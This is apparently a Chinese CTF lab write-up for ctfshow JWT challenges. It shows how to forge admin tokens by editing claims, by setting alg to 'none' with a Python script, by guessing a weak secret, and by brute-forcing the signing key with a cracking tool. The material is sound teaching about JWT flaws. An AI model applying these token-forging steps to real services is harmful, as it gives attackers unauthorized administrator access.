ctfshow-web入门-jwt
web 345
注释中有/admin 这里访问 xxxxx.com/admin 会显示404 是因为服务器先去找根目录有没有admin这个文件 访问 xxxx.com/admin/ 是访问admin目录下的index.php 所以要用/admin/
然后查看cookie 用jwt.io网站解密 然后修改user为admin 注意可以修改的时候没有自动加密 可以看看那里alg是不是为none 如果是的话改成HS256 然后将改过的放到cookie中访问/admin/
web346
JWT中alg字段如果为None,签名会被置空,所有的token都是有效的 初始cookie
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNzYwNjM1NSwiZXhwIjoxNjI3NjEzNTU1LCJuYmYiOjE2Mjc2MDYzNTUsInN1YiI6InVzZXIiLCJqdGkiOiJhOWQ0MTI4MDEyNjM1YTYyZTdjZDlhZGNjZDEwZDU5NSJ9._cQ5s72j4hzuoq3PB0zc5URdPpMRJdpsbfLTB88qnaw
在jwt.io上解密
{
"alg": "HS256",
"typ": "JWT"
}
{
"iss": "admin",
"iat": 1627606355,
"exp": 1627613555,
"nbf": 1627606355,
"sub": "user",
"jti": "a9d4128012635a62e7cd9adccd10d595"
}
jwt.io上设置alg为none时不能自动生成 所以用python脚本自己修改
import jwt
# payload
token_dict = {
"iss": "admin",
"iat": 1627606355,
"exp": 1627613555,
"nbf": 1627606355,
"sub": "admin",
"jti": "a9d4128012635a62e7cd9adccd10d595"
}
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload, 有效载体
"", # 进行加密签名的密钥
algorithm="none", # 指明签名算法方式, 默认也是HS256
headers=headers
# json web token 数据结构包含两部分, payload(有效载体), headers(标头)
)
print(jwt_token)
修改cookie即可
web347
弱口令123456
web348
jwt秘钥爆破 https://github.com/Ch1ngg/JWTPyCrack
1.txt为秘钥字典 秘钥为aaab 然后就伪造就可以
web349
ctfshow-web入门-jwt
http://example.com/2021/07/28/OldBlog/ctfshow-web入门jwt/